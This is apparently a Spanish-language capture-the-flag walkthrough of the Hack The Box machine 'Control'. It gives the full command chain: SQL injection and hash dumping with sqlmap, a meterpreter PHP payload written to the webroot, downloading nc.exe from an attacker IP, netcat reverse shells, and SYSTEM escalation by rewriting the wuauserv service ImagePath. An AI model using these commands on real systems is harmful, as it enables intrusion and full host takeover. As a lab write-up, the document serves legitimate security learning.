Hack The Box. Control de Pasaje. Inyección SQL y LPE a través de derechos de servicio

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio de HackTheBox .

En este artículo, penetramos en el sistema a través de la inyección SQL, profundizamos en el historial de la línea de comandos y aumentamos nuestros privilegios gracias a los derechos del servicio.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
, , Telegram . , , .

. , - , .

Recon


Esta máquina tiene una dirección IP 10.10.10.167, que agrego a / etc / hosts.

10.10.10.167    control.htb

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

imagen

Ahora, para obtener información más detallada sobre los servicios que operan en los puertos, realizaremos un análisis con la opción -A.
nmap -A control.htb -p80,135,3306,49667,49666

imagen

El host está ejecutando un servidor web. Veamos que hay ahí.

imagen

Y vemos que hay un enlace al panel de administración. Pero se nos informa que no hay encabezado y debemos contactarnos a través de un proxy.

imagen

Al mismo tiempo, en el código fuente de la página de inicio, encontramos el mensaje:

imagen

Al comparar lo que necesita para usar el proxy y la dirección encontrada, asumimos que necesita revisarlo. El proxy se muestra en el protocolo HTTP en el encabezado x-forwards-for. Vamos a exponerlo.

imagen

Y vamos con éxito a la página de administración. Vamos a través del navegador.

imagen

Pero cuando intentas hacer algo, nos arrojarán a una página con un mensaje proxy. Esto se debe a que no estamos sustituyendo el encabezado encontrado. Para no hacer esto siempre en Burp Suite, en la pestaña Proxy -> Opciones, encontramos la función "Emparejar y reemplazar".

imagen

Y agregue una nueva entrada que agregará automáticamente este encabezado a todas las solicitudes salientes.

imagen

Y probando el campo de búsqueda encontramos la inyección SQL.

imagen

Para la operación usamos sqlmap. Guardemos esta solicitud en un archivo (Copiar en archivo) y ejecutemos sqlmap, pasando este archivo como parámetro.
sqlmap -r headers.req

imagen

Punto de entrada
Veamos qué bases de datos están disponibles.
sqlmap -r headers.req --dbs

imagen

Veamos qué credenciales están disponibles. Veamos todas las tablas en la base de datos mysql.
sqlmap -r headers.req -D mysql --tables

imagen

Entonces estamos interesados ​​en la tabla de usuarios. Consigamos los nombres de todas las columnas.
sqlmap -r headers.req -D mysql -T user --columns

imagen

De todas las columnas, las más interesantes son Usuario y Contraseña. Aprendemos lo que hay en ellos.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

imagen

La base de datos contiene varios usuarios. Sqlmap ofrece descifrar hashes. Seleccionamos un ataque de diccionario, indicamos que queremos usar nuestro diccionario y escribimos la ruta a rockyou.

imagen

Después de unos segundos, se nos proporcionará una tabla con nombres de usuario y hash de sus contraseñas. Si sqlmap pudo descifrar la contraseña, la indicará junto al hash entre paréntesis. Como puede ver, tenemos las credenciales del usuario hector.

imagen

No pude obtener el shell usando sqlmap, pero escribiendo archivos. Publiquemos la web recorrida. Primero, generamos la carga de meterpreter en formato PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


Ahora escríbalo usando sqlmap en el directorio del servidor web.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

imagen

El archivo fue escrito con éxito. Ejecuta el oyente.

imagen

Y recurra a su archivo en el servidor web.
curl http://control.htb/r.php


En la ventana Metasploit, observamos una conexión exitosa.

imagen

Ve a esta sesión.

imagen

Pero aquí está el problema, no podemos ejecutar comandos a través del shell. Además, tales intentos restablecen la conexión. Intentemos evitar el bloqueo creando un proceso de PowerShell en modo interactivo (-i) oculto a la vista (-H) pasando nuestro comando como parámetros (-a). Veamos en qué usuario estamos trabajando.

imagen

USUARIO


Tenemos credenciales de Héctor, descubriremos si existe tal usuario en el sistema.

imagen

¡Hay tal usuario! Pero primero, averigua el nombre del auto.

imagen

Tenemos nombre de usuario, contraseña, dominio y nombre de la máquina. Ahora verifiquemos si las credenciales que recibimos son adecuadas. Para hacer esto, ejecute "whoami" en nombre de Héctor.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

imagen

Multa. Vamos a buscar el caparazón. Ejecute el servidor web en el host local.
python3 -m http.server 80


Y subir al host remoto de Netcat.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Ahora abra el puerto 5432. nc -lvp 5432 y realice la conexión inversa desde el host remoto.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Entonces tomamos al usuario.

imagen

RAÍZ


Además, cuando intentamos cargar uno de los medios para recopilar información del host al host (como BloodHound , PowerUp , JAWS , WinPEAS ), notamos que el defensor los elimina. Pero WinPEAS tiene una versión bat que no se puede desinstalar. Lo subimos al host y lo ejecutamos. Además, solo es necesario revisar cuidadosamente la información recopilada. Y encontramos un archivo interesante ConsoleHost_history.txt.

imagen

Mira lo que contiene.

imagen

Estos equipos son lo único que tenemos. El cmdlet Get-Acl recupera objetos que representan un descriptor de seguridad para un archivo o recurso. El descriptor de seguridad contiene listas de control de acceso a recursos (ACL). La ACL contiene los permisos requeridos por los usuarios y grupos de usuarios para acceder al recurso. Por lo tanto, decidí que el camino de la solución radica en los servicios y el acceso a ellos. Consigamos todos los servicios y permisos de Héctor para ellos.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


Mirando a través de la salida, notamos que Héctor tiene todos los derechos sobre el servicio de actualización de Windows: wuauserv.

imagen

Los servicios en el sistema operativo Windows se ejecutan con privilegios del sistema. Al registrar un servicio en el sistema, la ruta al ejecutable del servicio está protegida en el atributo ImagePath. Cambiemos el valor de este atributo y carguemos el shell.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


Ahora inicie el servicio de actualización.
start-service wuauserv


Y obtenemos un shell con máximos privilegios.

imagen

Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos combinados, así como software. Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

All Articles